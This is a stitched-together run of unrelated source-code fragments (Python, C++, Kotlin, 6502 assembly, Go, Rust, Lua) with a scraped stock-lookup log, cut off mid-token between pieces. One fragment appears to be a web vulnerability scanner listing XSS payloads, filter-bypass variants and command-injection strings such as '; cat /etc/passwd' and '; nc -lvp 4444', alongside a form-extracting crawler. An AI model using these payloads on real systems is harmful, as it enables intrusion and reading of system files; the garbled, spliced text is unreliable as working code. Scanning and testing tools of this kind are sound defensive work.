"""
A sentence S is given, composed of words separated by spaces. Each word consists of lowercase and uppercase letters only.

We would like to convert the sentence to "Goat Latin" (a made-up language similar to Pig Latin.)

The rules of Goat Latin are as follows:

If a word begins with a vowel (a, e, i, o, or u), append "ma" to the end of the word.
For example, the word 'apple' becomes 'applema'.

 If a word begins with a consonant (i.e. not a vowel), remove the first letter and append it to the end, then add "ma".
 For example, the word "goat" becomes "oatgma".

  Add one letter 'a' to the end of each word per its word index in the sentence, starting with 1.
  For example, the first word gets "a" added to the end, the second word gets "aa" added to the end and so on.
  Return the final sentence representing the conversion from S to Goat Latin.

   Example 1:

   Input: "I speak Goat Latin"
   Output: "Imaa peaksmaaa oatGmaaaa atinLmaaaaa"
   Example 2:

   Input: "The quick brown fox jumped over the lazy dog"
   Output: "heTmaa uickqmaaa rownbmaaaa oxfmaaaaa umpedjmaaaaaa overmaaaaaaa hetmaaaaaaaa azylmaaaaaaaaa ogdmaaaaaaaaaa"

    Notes:

    S contains only uppercase, lowercase and spaces. Exactly one space between each word.
    1 <= S.length <= 150.
"""
class Solution(object):
    def toGoatLatin(self, S):
        """
        :type S: str
        :rtype: str
        """
        ls = S.split(' ')
        r = []
        vowels = set('aeiou')
        for i, w in enumerate(ls):
            if w[0].lower() in vowels:
                r.append(w + 'ma' + 'a' * (i + 1))
            else:
                r.append(w[1:] + w[0] + 'ma' + 'a' * (i + 1))
        return ' '.join(r)


unspecified)") const;

    template <class F>
    void visit_payload(const Instruction::Payload&, F&& visitor);

    REALM_NORETURN void bad_transaction_log(const std::string& msg) const;
    template <class... Params>
    REALM_NORETURN void bad_transaction_log(const char* msg, Params&&... params) const;
};

// Implementation

inline InstructionApplier::InstructionApplier(Transaction& group) noexcept
    : m_transaction(group)
{
}

inline void InstructionApplier::begin_apply(const Changeset& log, util::Logger* logger) noexcept
{
    m_log = &log;
    m_logger = logger;
}

inline void InstructionApplier::end_apply() noexcept
{
    m_log = nullptr;
    m_logger = nullptr;
    m_last_table_name = InternString{};
    m_last_field_name = InternString{};
    m_last_table = TableRef{};
    m_last_field = ColKey{};
    m_last_object.reset();
    m_last_object_key.reset();
    m_last_list.reset();
}

template <class A>
inline void InstructionApplier::apply(A& applier, const Changeset& changeset, util::Logger* logger)
{
    applier.begin_apply(changeset, logger);
    for (auto instr : changeset) {
        if (!instr)
            continue;
        instr->visit(applier); // Throws
    }
    applier.end_apply();
}

template <class A>
inline void InstructionApplier::apply(A& applier, Changeset& changeset, util::Logger* logger)
{
    applier.begin_apply(changeset, logger);
    for (auto instr : changeset) {
        if (!instr)
            continue;
        instr->visit(applier); // Throws
#if REALM_DEBUG
        applier.m_table_info_cache.verify();
#endif
    }
    applier.end_apply();
}

inline void InstructionApplier::apply(const Changeset& log, util::Logger* logger)
{
    apply(*this, log, logger); // Throws
}

} // namespace sync
} // namespace realm

#endif // REALM_SYNC_IMPL_INSTRUCTION_APPLIER_HPP
/*************************************************************************
 *
 * Copyright 2019 Realm Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 **************************************************************************/

#ifndef REALM_UTIL_FUNCTION_REF_HPP
#define REALM_UTIL_FUNCTION_REF_HPP

#include <functional>
#include <utility>

namespace realm::util {

template <typename Signature>
class UniqueFunction;

#ifdef _WIN32
// VC++ warns about multiple copy constructors, but we want both const and
// non-const version to ensure they're a better match than the wrapping
// constructor. We could instead use enable_if to make the wrapping constructor
// ineligible, but that tends to do bad things to compile times.
#pragma warning(push)
#pragma warning(disable : 4521 4522)
#endif

/// A lightweight non-owning reference to a callable.
///
/// This type is similar to std::function, but unlike std::function holds a reference to the callable rather than
/// making a copy of it. This means that it will never require a heap allocation, and produces significantly smaller
/// binaries due to the template machinery being much simpler. This type should only ever be used as a function
/


 }
    }
  }

  fun dumpParseTree() {
    val name = this.testName

    parseFile(name, this.loadFile(name + "." + this.myFileExt))

    fail(toParseTreeText(this.myFile, this.skipSpaces(), this.includeRanges()))
  }
}
package org.jetbrains.bazel.languages.starlark.references

import com.intellij.psi.PsiClass
import com.intellij.testFramework.ExtensionTestUtil
import com.intellij.testFramework.fixtures.BasePlatformTestCase
import io.kotest.matchers.nulls.shouldNotBeNull
import io.kotest.matchers.shouldBe
import io.kotest.matchers.types.instanceOf
import org.jetbrains.bazel.config.isBazelProject
import org.jetbrains.bazel.languages.starlark.bazel.StarlarkClassParametersProvider
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.runners.JUnit4

@RunWith(JUnit4::class)
class StarlarkClassnameReferenceTest : BasePlatformTestCase() {
  @Before
  fun beforeEach() {
    project.isBazelProject = true
  }

  @Test
  fun `should resolve kotlin class`() {
    // given
    myFixture.addFileToProject(
      "Kotlin.kt",
      """
      package org.app.test
      class KotlinClass {
        fun test() : String? = null
      }
      """.trimIndent(),
    )

    // when
    myFixture.configureByText(
      "BUILD",
      """
      load("@rules_kotlin//kotlin:jvm.bzl", "kt_jvm_library")
      kt_jvm_library(
        name = "testTarget",
        classname = "<caret>org.app.test.KotlinClass",
      )
      """.trimMargin(),
    )

    val reference = myFixture.file.findReferenceAt(myFixture.caretOffset)
    val resolved = reference!!.resolve()

    // then
    resolved.shouldNotBeNull()
    resolved shouldBe instanceOf<PsiClass>()
    (resolved as? PsiClass)?.name shouldBe "KotlinClass"
  }

  @Test
  fun `should resolve java class`() {
    // given
    myFixture.addFileToProject(
      "Java.java",
      """
      package org.app.test;
      public class JavaClass {
          public String greet() {
              return "Hello, test!";
          }
      }
      """.trimIndent(),
    )

    // when
    myFixture.configureByText(
      "BUILD",
      """
      java_binary(
        name = "testTarget",
        classname = "<caret>org.app.test.JavaClass",
      )
      """.trimMargin(),
    )

    val reference = myFixture.file.findReferenceAt(myFixture.caretOffset)
    val resolved = reference!!.resolve()

    // then
    resolved.shouldNotBeNull()
    resolved shouldBe instanceOf<PsiClass>()
    (resolved as? PsiClass)?.name shouldBe "JavaClass"
  }

  @Test
  fun `test should resolve reference for custom registered parameter name`() {
    // given
    val provider =
      object : StarlarkClassParametersProvider {
        override fun getClassnameParameters(): List<String> = listOf("name_of_the_class")
      }
    ExtensionTestUtil.maskExtensions(StarlarkClassParametersProvider.EP_NAME, listOf(provider), testRootDisposable)

    myFixture.addFileToProject(
      "com/example/MyClass.java",
      """
      package com.example;

      public class MyClass {}
      """.trimIndent(),
    )

    val file = myFixture.configureByText(
      "BUILD.bazel",
      """
      custom_rule(
          name = "my_rule",
          name_of_the_class = "com.example.My<caret>Class"
      )


        "<svg onload=alert('XSS')>",
            "<body onload=alert('XSS')>",
            "<iframe onload=alert('XSS')></iframe>",

            # URL-based XSS
            "javascript:alert('XSS')",
            "data:text/html,<script>alert('XSS')</script>",

            # Filter bypass techniques
            "<ScRiPt>alert('XSS')</ScRiPt>",
            "<<SCRIPT>alert('XSS')//\\\\<</SCRIPT>",
            "<script>alert(String.fromCharCode(88,83,83))</script>",

            # DOM XSS
            "#<script>alert('XSS')</script>",
            "';alert('XSS');//",
            "\";alert('XSS');//"
        ]

        self.command_injection_payloads = [
            # Linux commands
            "; cat /etc/passwd",
            "| whoami",
            "&& id",
            "|| pwd",
            "`ls -la`",
            "$(cat /etc/hosts)",

            # Windows commands
            "&& dir",
            "| type C:\\windows\\system32\\drivers\\etc\\hosts",
            "&& whoami",
            "|| dir C:\\",

            # Time-based detection
            "; sleep 5",
            "&& ping -c 5 127.0.0.1",
            "| timeout 5",

            # Advanced techniques
            "; nc -lvp 4444",
            "&& python -c 'import os; os.system(\"id\")'",
            "| perl -e 'system(\"whoami\")'"
        ]

    def advanced_crawling(self, max_depth=3, max_pages=100):
        """
        🕷 ADVANCED WEB CRAWLING

        Intelligent web crawling with JavaScript parsing,
        form discovery, and parameter extraction.
        """
        logger.info(f"🕷 Starting advanced crawling of {self.target_url}")

        urls_to_crawl = [(self.target_url, 0)]
        crawled_count = 0

        while urls_to_crawl and crawled_count < max_pages:
            current_url, depth = urls_to_crawl.pop(0)

            if current_url in self.crawled_urls or depth > max_depth:
                continue

            try:
                response = self.session.get(current_url, timeout=10, verify=False)
                self.crawled_urls.add(current_url)
                crawled_count += 1

                logger.info(f"🔍 Crawled: {current_url} ({response.status_code})")

                if response.status_code == 200 and 'text/html' in response.headers.get('content-type', ''):
                    # Extract links
                    links = self.extract_links(response.text, current_url)
                    for link in links:
                        if link.startswith(self.target_url) and link not in self.crawled_urls:
                            urls_to_crawl.append((link, depth + 1))

                    # Extract forms
                    forms = self.extract_forms(response.text, current_url)
                    self.forms.extend(forms)

            except Exception as e:
                logger.debug(f"Crawl error for {current_url}: {str(e)}")

        logger.info(f"🕷 Crawling complete - {len(self.crawled_urls)} pages, {len(self.forms)} forms")
        return list(self.crawled_urls)

    def extract_links(self, html_content, base_url):
        """Extract all links from HTML content"""
        links = set()

        # Extract href attributes
        href_pattern = r'href=[\'"]?([^\'" >]+)'
        matches = re.findall(href_pattern, html_content, re.IGNORECASE)

        for match in matches:
            absolute_url = urllib.parse.urljoin(base_url, match)
            links.add(absolute_url)

        # Extract JavaScript URLs
        js_url_pattern = r'(?:window\.location|document\.location|location\.href)\s*=\s*[\'"]([^\'"]+)'
        js_matches = re.findall(js_url_pattern, html_content, re.IGNORECASE)

        for match in js_matches:
            absolute_url = urllib.parse.urljoin(base_url, match)
            links.add(absolute_url)

        return list(links)

    def extract_forms(self, html_content, base_url):
        """Extract all forms from HTML content"""
        forms = []

        # Find all form tags
        form_pattern = r'<form[^>]*>(.*?)</form>'
        form_matches = re.findall(form_pattern, html_content, re.DOTALL | re.IGNORECASE)

        for form_html in form_matches:
            form_info = {
                'url': base_url,
                'method': 'GET',
                'action': '',
                'inputs': []
            }

            # Extract form attributes
            method_match = re.search(r'method=[\'"]?([^\'" >]+)', form_html, re.IGNORECASE)
            if method_match:
                form_info['method'] = metho


hich directly effects the displayed note. So we must perform some
	;special code to ensure the desired Note is attainable in the current
	;octave otherwise abort.

	;Parsed in A is the Note in the form of letters A thru G
	ldx PatternEntryType
	;If entry is Track Rest then abort
.(
	beq Failed
	;If Entry is Command then abort
	cpx #5
	beq Failed
	;If Entry is Rest, VRST or Bar then set default entry
	cpx #2
	bcs DefaultEntry

rent1	;Convert Typed ABCDEFG(0-6) to Note 0-11(Ignore current Sharp)
	tay
	lda peActualNote-65,y
	sta EnteredNote

	;Take the Pattern entry up to B-X(or 60) by observing
	;calculated ShortNote
	ldx PatternEntryLongNote
	ldy PatternEntryNote
	cpy EnteredNote
	beq NoChange
loop1	cpy #11
	bcs BXreached
	iny
	inx
	cpx #61
	bcc loop1
BXreached
	;Then bring Pattern entry down to Typed Note. If Pattern
	;Entry <0 then Fail
loop2	cpy EnteredNote
	beq Success
	dey
	dex
	bpl loop2
	jmp Failed
DefaultEntry
	;We must permit specific Note selection on rest entry
	;1) Backup selected note
	pha
	;2) Write intermidiate Note value of C-0
	lda #00
	sta PatternEntrySFX
	sta PatternEntryLongNote
	lda #15
	sta PatternEntryVolume
	jsr peStorePatternLongNote
	;3) Fetch back
	jsr peFetchEntryData
	;4) Restore entered octave
	pla
	;5) Jump back to main
	jmp rent1
Success	stx PatternEntryLongNote
	jmp peStorePatternLongNote
Failed
NoChange	rts
.)

;The Pattern Entry is composed of
; Note/Rest/VRest/Bar/Command, Octave, Sharp, Volume and SFX, all within two bytes.
;It is extracted here from the two bytes into..
; PatternEntryType
;   0 Entry Inactive (Pattern Inactive)
;   1 Entry is a Note
;   2 Entry is a Rest
;   3 Entry is a VRest
;   4 Entry is a Bar
;   5 Entry is a Command
;					Store Back with..
; PatternEntryByte0				peStorePatternData
; PatternEntryByte1
;
; PatternEntryNote(Which includes Bar and Rest)	peStorePatternNote
; PatternEntrySharp
; PatternEntryOctave
;
; PatternEntryVolume			peStorePatternLongNote
; PatternEntrySFX
; PatternEntryLongNote
;
;These only apply to Track H if command has been applied
; PatternEntryCommand			peStorePatternCommand
; PatternEntryParam1
; PatternEntryParam2
;
peFetchEntryData
	;Calculate Address of Pattern Entry
	lda PatternCursorX
	lsr
	lsr
	tax
	;Branch if Track inactive
	lda TrackProperty,x
.(
	bpl PatternInactive

	lda PatternCursorRow
	jsr CalcPatternAddress

	; Extract bytes 0 & 1
	ldy #00
	lda (source),y
	sta PatternEntryLongNote
	sta PatternEntryByte0
	iny
	lda (source),y
	sta PatternEntrySFX
	sta PatternEntryByte1

	;Branch if Track H is command
	lda TrackProperty,x
	asl
	bmi PatternCommandEntry

	; Split into Note, SFX and Volume
	lda #00
	sta PatternEntryVolume
	lsr PatternEntryLongNote
	rol PatternEntryVolume
	lsr PatternEntryLongNote
	rol Pattern


ote/ESNG/analysis?p=ESNG">ESNG.

Cтрока № 2395 из 8369. Ищем для ESNT.

Cтрока № 2396 из 8369. Ищем для ESP.

Cтрока № 2397 из 8369. Ищем для ESPO.

Cтрока № 2398 из 8369. Ищем для ESPR.

Cтрока № 2399 из 8369. Ищем для ESQ.

Cтрока № 2400 из 8369. Ищем для ESRT.

Cтрока № 2401 из 8369. Ищем для ESS.

Cтрока № 2402 из 8369. Ищем для ESSA.

Cтрока № 2403 из 8369. Ищем для ESSC.

Cтрока № 2404 из 8369. Ищем для ESSCR.

Cтрока № 2405 из 8369. Ищем для ESSCU.

Cтрока № 2406 из 8369. Ищем для ESSCW.

Cтрока № 2407 из 8369. Ищем для ESTA.

Cтрока № 2408 из 8369. Ищем для ESTC.

Cтрока № 2409 из 8369. Ищем для <a target="_blank" rel="noopener noreferrer" href="https://finance.yahoo.com/quote/ESTE/analysis?p


id"`
	Block   *types.Block  `json:"block"`
}

// ResultHeader represents the response for a Header RPC Client query
type ResultHeader struct {
	Header *types.Header `json:"header"`
}

// Commit and Header
type ResultCommit struct {
	types.SignedHeader `json:"signed_header"`
	CanonicalCommit    bool `json:"canonical"`
}

// ABCI results from a block
type ResultBlockResults struct {
	Height                int64                     `json:"height"`
	TxsResults            []*abci.ResponseDeliverTx `json:"txs_results"`
	TotalGasUsed          int64                     `json:"total_gas_used"`
	BeginBlockEvents      []abci.Event              `json:"begin_block_events"`
	EndBlockEvents        []abci.Event              `json:"end_block_events"`
	ValidatorUpdates      []abci.ValidatorUpdate    `json:"validator_updates"`
	ConsensusParamUpdates *tmproto.ConsensusParams  `json:"consensus_param_updates"`
}

// NewResultCommit is a helper to initialize the ResultCommit with
// the embedded struct
func NewResultCommit(header *types.Header, commit *types.Commit,
	canonical bool) *ResultCommit {

	return &ResultCommit{
		SignedHeader: types.SignedHeader{
			Header: header,
			Commit: commit,
		},
		CanonicalCommit: canonical,
	}
}

// Info about the node's syncing state
type SyncInfo struct {
	LatestBlockHash   bytes.HexBytes `json:"latest_block_hash"`
	LatestAppHash     bytes.HexBytes `json:"latest_app_hash"`
	LatestBlockHeight int64          `json:"latest_block_height"`
	LatestBlockTime   time.Time      `json:"latest_block_time"`

	EarliestBlockHash   bytes.HexBytes `json:"earliest_block_hash"`
	EarliestAppHash     bytes.HexBytes `json:"earliest_app_hash"`
	EarliestBlockHeight int64          `json:"earliest_block_height"`
	EarliestBlockTime   time.Time      `json:"earliest_block_time"`

	MaxPeerBlockHeight int64 `json:"max_peer_block_height"`

	CatchingUp bool `json:"catching_up"`

	TotalSyncedTime time.Duration `json:"total_synced_time"`
	RemainingTime   time.Duration `json:"remaining_time"`

	TotalSnapshots      int64         `json:"total_snapshots"`
	ChunkProcessAvgTime time.Duration `json:"chunk_process_avg_time"`
	SnapshotHeight      int64         `json:"snapshot_height"`
	SnapshotChunksCount int64         `json:"snapshot_chunks_count"`
	SnapshotChunksTotal int64         `json:"snapshot_chunks_total"`
	BackFilledBlocks    int64         `json:"backfilled_blocks"`
	BackFillBlocksTotal int64         `json:"backfill_blocks_total"`
}

// Info about the node's validator
type ValidatorInfo struct {
	Address     bytes.HexBytes `json:"address"`
	PubKey      crypto.PubKey  `json:"pub_key"`
	VotingPower int64          `json:"voting_power"`
}

// Node Status
type ResultStatus struct {
	NodeInfo      types.NodeInfo `json:"node_info"`
	SyncInfo      SyncInfo       `json:"sync_info"`
	ValidatorInfo ValidatorInfo  `json:"validator_info"`
}

// Is TxIndexing enabled
func (s *ResultStatus) TxIndexEnabled() bool {
	if s == nil {
		return false
	}
	return s.NodeInfo.Other.TxIndex == "on"
}

// Info about peer connections
type ResultNetInfo struct {
	Listening bool     `json:"listening"`
	Listeners []string `json:"listeners"`
	NPeers    int      `json:"n_peers"`
	Peers     []Peer   `json:"peers"`
}

// Log from dialing seeds
type ResultDialSeeds struct {
	Log string `js


/ 0x1002
	_Gscansyscall   = _Gscan + _Gsyscall   // 0x1003
	_Gscanwaiting   = _Gscan + _Gwaiting   // 0x1004
	_Gscanpreempted = _Gscan + _Gpreempted // 0x1009
)

const (
	// P status

	// _Pidle means a P is not being used to run user code or the
	// scheduler. Typically, it's on the idle P list and available
	// to the scheduler, but it may just be transitioning between
	// other states.
	//
	// The P is owned by the idle list or by whatever is
	// transitioning its state. Its run queue is empty.
	_Pidle = iota

	// _Prunning means a P is owned by an M and is being used to
	// run user code or the scheduler. Only the M that owns this P
	// is allowed to change the P's status from _Prunning. The M
	// may transition the P to _Pidle (if it has no more work to
	// do), _Psyscall (when entering a syscall), or _Pgcstop (to
	// halt for the GC). The M may also hand ownership of the P
	// off directly to another M (e.g., to schedule a locked G).
	_Prunning

	// _Psyscall means a P is not running user code. It has
	// affinity to an M in a syscall but is not owned by it and
	// may be stolen by another M. This is similar to _Pidle but
	// uses lightweight transitions and maintains M affinity.
	//
	// Leaving _Psyscall must be done with a CAS, either to steal
	// or retake the P. Note that there's an ABA hazard: even if
	// an M successfully CASes its original P back to _Prunning
	// after a syscall, it must understand the P may have been
	// used by another M in the interim.
	_Psyscall

	// _Pgcstop means a P is halted for STW and owned by the M
	// that stopped the world. The M that stopped the world
	// continues to use its P, even in _Pgcstop. Transitioning
	// from _Prunning to _Pgcstop causes an M to release its P and
	// park.
	//
	// The P retains its run queue and startTheWorld will restart
	// the scheduler on Ps with non-empty run queues.
	_Pgcstop

	// _Pdead means a P is no longer used (GOMAXPROCS shrank). We
	// reuse Ps if GOMAXPROCS increases. A dead P is mostly
	// stripped of its resources, though a few things remain
	// (e.g., trace buffers).
	_Pdead
)

// Mutual exclusion locks.  In the uncontended case,
// as fast as spin locks (just a few user-level instructions),
// but on the contention path they sleep in the kernel.
// A zeroed Mutex is unlocked (no need to initialize each lock).
// Initialization is helpful for static lock ranking, but not required.
type mutex struct {
	// Empty struct if lock ranking is disabled, otherwise includes the lock rank
	lockRankStruct
	// Futex-based impl treats it as uint32 key,
	// while sema-based impl as M* waitm.
	// Used to be a union, but unions break precise GC.
	key uintptr
}

// sleep and wakeup on one-time events.
// before any calls to notesleep or notewakeup,
// must call noteclear to initialize the Note.
// then, exactly one thread can call notesleep
// and exactly one thread can call notewakeup (once).
// once notewakeup has been called, the notesleep
// will return.  future notesleep will return immediately.
// subsequent noteclear must be called only after
// previous notesleep has returned, e.g. it's disallowed
// to call noteclear straight after notewakeup.
//
// notetsleep is like notesleep but wakes up after
// a given number of nanoseconds even if the event
// has not yet happened.  if a goroutine uses not


    private const val NEXT_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RNextGraphicsAction"
    private const val EXPORT_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RExportGraphicsAction"
    private const val COPY_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RCopyGraphicsAction"
    private const val ZOOM_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RZoomGraphicsAction"
    private const val CLEAR_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RClearGraphicsAction"
    private const val CLEAR_ALL_GRAPHICS_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RClearAllGraphicsAction"
    private const val TUNE_GRAPHICS_DEVICE_ACTION_ID = "org.jetbrains.r.run.graphics.ui.RTuneGraphicsDeviceAction"

    private val RESCALING_HINT = RBundle.message("graphics.panel.rescaling.hint")

    private val ENGINE_TOOLTIP = RBundle.message("graphics.panel.engine.tooltip")
    private val ENGINE_CORRUPTED_TOOLTIP = RBundle.message("graphics.panel.engine.corrupted.tooltip")
    private val ENGINE_IDE_TEXT = RBundle.message("graphics.panel.engine.ide.text")
    private val ENGINE_IDE_DESCRIPTION = RBundle.message("graphics.panel.engine.ide.description")
    private val ENGINE_R_TEXT = RBundle.message("graphics.panel.engine.r.text")
    private val ENGINE_R_DESCRIPTION = RBundle.message("graphics.panel.engine.r.description")

    private val DARK_MODE_TITLE = RBundle.message("graphics.panel.action.darkMode.title")
    private val DARK_MODE_DESCRIPTION = RBundle.message("graphics.panel.action.darkMode.description")

    private val Dimension.isValid: Boolean
      get() = width > 0 && height > 0

    private fun List<RGraphicsOutput>.indexWith(number: Int): Int? {
      return indexOfLast { it.number == number }.takeIf { it >= 0 }
    }

    private fun JComponent.addResizeListener(listener: () -> Unit) {
      addComponentListener(object : ComponentAdapter() {
        override fun componentResized(e: ComponentEvent?) {
          listener()
        }
      })
    }
  }
}/*
 * Copyright 2000-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
 */

package org.jetbrains.r.editor.completion

import com.intellij.codeInsight.completion.CompletionParameters
import com.intellij.codeInsight.completion.CompletionResultSet
import com.intellij.codeInsight.lookup.LookupElement
import com.intellij.openapi.project.Project
import com.intellij.openapi.vfs.VirtualFile
import com.intellij.psi.PsiElement
import com.intellij.psi.PsiFile
import com.intellij.psi.search.GlobalSearchScope
import com.intellij.util.Processor
import org.jetbrains.r.console.runtimeInfo
import org.jetbrains.r.interpreter.RInterpreterState
import org.jetbrains.r.interpreter.RInterpreterStateManager
import org.jetbrains.r.packages.build.RPackageBuildUtil
import org.jetbrains.r.psi.stubs.RAssignmentCompletionIndex
import org.jetbrains.r.psi.stubs.RInternalAssignmentCompletionIndex
import org.jetbrains.r.psi.stubs.classes.RS4GenericIndex

object RPackageCompletionUtil {

  fun addPackageCompletion(position: PsiElement, result: CompletionResultSet) {
    val state = RInterpreterStateManager.getCurrentStateOrNull(position.project) ?: return
    for (installedPackage in state.installedPackages) {
      addPackageCompletion(installedPackage.name, result)
    }
    // Note: a package project can be loaded into current global environment
    // (e.g. via `devtools::load_all()`, see R-762) but not installed
    RPackageBuildUtil.getPackageName(state.project)?.let { packageName ->
      if (!state.hasPackage(packageName) && state.rInterop.isLibraryLoaded(packageName)) {
        addPackageCompletion(packageName, result)
      }


;
    use serde::de::value::{BorrowedStrDeserializer, Error as ValueError};

    #[test]
    fn should_error_one_exceeding_capacity() {
        let des = BorrowedStrDeserializer::<ValueError>::new("lolka");
        let res = StrBuf::<4>::deserialize(des);
        assert!(res.is_err());
    }

    #[test]
    fn should_ok_within_capacity() {
        let des = BorrowedStrDeserializer::<ValueError>::new("lolka");
        let res = StrBuf::<6>::deserialize(des).expect("Unexpected fail");
        assert_eq!(res.as_str(), "lolka");
    }
}
//! Utilities for performing contextual lookup in gpos and gsub.

use std::marker::PhantomData;
use std::rc::Rc;

use crate::gdef;
use crate::layout::{ClassDef, Coverage, GDEFTable};

#[derive(Copy, Clone)]
pub struct LookupFlag(pub u16);

#[derive(Copy, Clone, PartialEq)]
pub enum IgnoreMarks {
    NoIgnoreMarks,
    IgnoreAllMarks,
    IgnoreMarksExcept(u8),
}

#[derive(Copy, Clone)]
pub struct MatchType {
    ignore_bases: bool,
    ignore_ligatures: bool,
    ignore_marks: IgnoreMarks,
}

pub enum GlyphTable<'a> {
    Empty,
    ById(&'a [u16]),
    ByClassDef(Rc<ClassDef>, &'a [u16]),
    ByCoverage(&'a [Rc<Coverage>]),
}

impl<'a> GlyphTable<'a> {
    pub fn len(&self) -> usize {
        match self {
            GlyphTable::Empty => 0,
            GlyphTable::ById(ref arr) => arr.len(),
            GlyphTable::ByClassDef(_, ref arr) => arr.len(),
            GlyphTable::ByCoverage(ref vec) => vec.len(),
        }
    }

    pub fn is_empty(&self) -> bool {
        self.len() == 0
    }
}

pub struct MatchContext<'a> {
    pub backtrack_table: GlyphTable<'a>,
    pub input_table: GlyphTable<'a>,
    pub lookahead_table: GlyphTable<'a>,
}

pub struct ContextLookupHelper<'a, T> {
    pub match_context: MatchContext<'a>,
    pub lookup_array: &'a [(u16, u16)],
    phantom: PhantomData<T>,
}

impl<'a, T> ContextLookupHelper<'a, T> {
    pub fn new(
        match_context: MatchContext<'a>,
        lookup_array: &'a [(u16, u16)],
    ) -> ContextLookupHelper<'a, T> {
        ContextLookupHelper {
            match_context,
            lookup_array,
            phantom: PhantomData,
        }
    }
}

pub trait Glyph {
    fn get_glyph_index(&self) -> u16;
}

impl LookupFlag {
    pub fn get_rtl(self) -> bool {
        (self.0 & 0x0001) != 0
    }

    pub fn get_ignore_bases(self) -> bool {
        (self.0 & 0x0002) != 0
    }

    pub fn get_ignore_ligatures(self) -> bool {
        (self.0 & 0x0004) != 0
    }

    pub fn get_ignore_marks(self) -> IgnoreMarks {
        if (self.0 & 0x8) != 0 {
            IgnoreMarks::IgnoreAllMarks
        } else if self.0 & 0xFF00 != 0 {
            IgnoreMarks::IgnoreMarksExcept((self.0 >> 8) as u8)
        } else {
            IgnoreMarks::NoIgnoreMarks
        }
    }
}

impl MatchType {
    pub fn ignore_marks() -> MatchType {
        MatchType {
            ignore_bases: false,
            ignore_ligatures: false,
            ignore_marks: IgnoreMarks::IgnoreAllMarks,
        }
    }

    pub fn marks_only() -> MatchTy


s in a type that could have received an implicit `'static` lifetime.
pub(super) struct TraitObjectVisitor(pub(super) FxHashSet<DefId>);

impl<'tcx> TypeVisitor<'tcx> for TraitObjectVisitor {
    fn visit_ty(&mut self, t: Ty<'tcx>) -> ControlFlow<Self::BreakTy> {
        match t.kind() {
            ty::Dynamic(preds, re) if re.is_static() => {
                if let Some(def_id) = preds.principal_def_id() {
                    self.0.insert(def_id);
                }
                ControlFlow::CONTINUE
            }
            _ => t.super_visit_with(self),
        }
    }
}

/// Collect all `hir::Ty<'_>` `Span`s for trait objects with an implicit lifetime.
pub(super) struct HirTraitObjectVisitor<'a>(pub(super) &'a mut Vec<Span>, pub(super) DefId);

impl<'a, 'tcx> Visitor<'tcx> for HirTraitObjectVisitor<'a> {
    fn visit_ty(&mut self, t: &'tcx hir::Ty<'tcx>) {
        if let TyKind::TraitObject(
            poly_trait_refs,
            Lifetime { name: LifetimeName::ImplicitObjectLifetimeDefault, .. },
            _,
        ) = t.kind
        {
            for ptr in poly_trait_refs {
                if Some(self.1) == ptr.trait_ref.trait_def_id() {
                    self.0.push(ptr.span);
                }
            }
        }
        walk_ty(self, t);
    }
}
use graph_solver::*;

// Notice that edges starts with `2`.
const HORIZONTAL: Color = 2;
const VERTICAL: Color = 3;

fn main() {
    let mut g = Graph::new();

    // Create a node pattern.
    let a = Node {
        color: 0,
        self_connected: false,
        edges: vec![
            Constraint {edge: HORIZONTAL, node: 0},
            Constraint {edge: VERTICAL, node: 0},
        ]
    };

    // Add 4 nodes.
    for _ in 0..4 {g.push(a.clone())}

    let solve_settings = SolveSettings::new()
        .debug(true).sleep_ms(2000);
    if let Some(solution) = g.solve(solve_settings) {
        // Prints:
        // 0 0 0 0
        // ========================================
        // 0 2 1 0
        // 2 0 0 1
        // 1 0 0 2
        // 0 1 2 0
        solution.puzzle.print();
    }
}
<gh_stars>0
// Chariot: An open source reimplementation of Age of Empires (1997)
// Copyright (c) 2016 <NAME>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.

use crate::ecs::{DecalComponent, TransformComponent};
use crate::ecs::resource::{RenderCommands, ViewProjector};
use crate::resource::{RenderCommand, ShapeKey};
use specs::{self, Join};
use super::RenderSystem;
use crate::types::Fixed;

pub struct DecalRenderSystem;

impl DecalRenderSystem {
    pub fn new() -> DecalRenderSystem {
        DecalRenderSystem
    }
}

impl R


local M = {}

local config = {
  filetype_ignore = {},
  file_glob_ignore = {},
  file_regex_ignore = {},
  preserve_window_layout = { 'this', 'nameless' },
  next_buffer_cmd = nil,
}

local _config = {}

-- Get config details.
---@param key? string Config key to get, if not provided, all config is returned.
---@return table|function|nil All config details or specific keys.
function M.get(key)
  local target_config = next(_config) == nil and M.set({}) or _config

  if key then
    return target_config[key]
  end
  return target_config
end

-- Set config details.
---@param user_conf table Config to set.
---@return table Config details.
function M.set(user_conf)
  if user_conf and type(user_conf) == 'table' then
    config = vim.tbl_extend('force', config, user_con


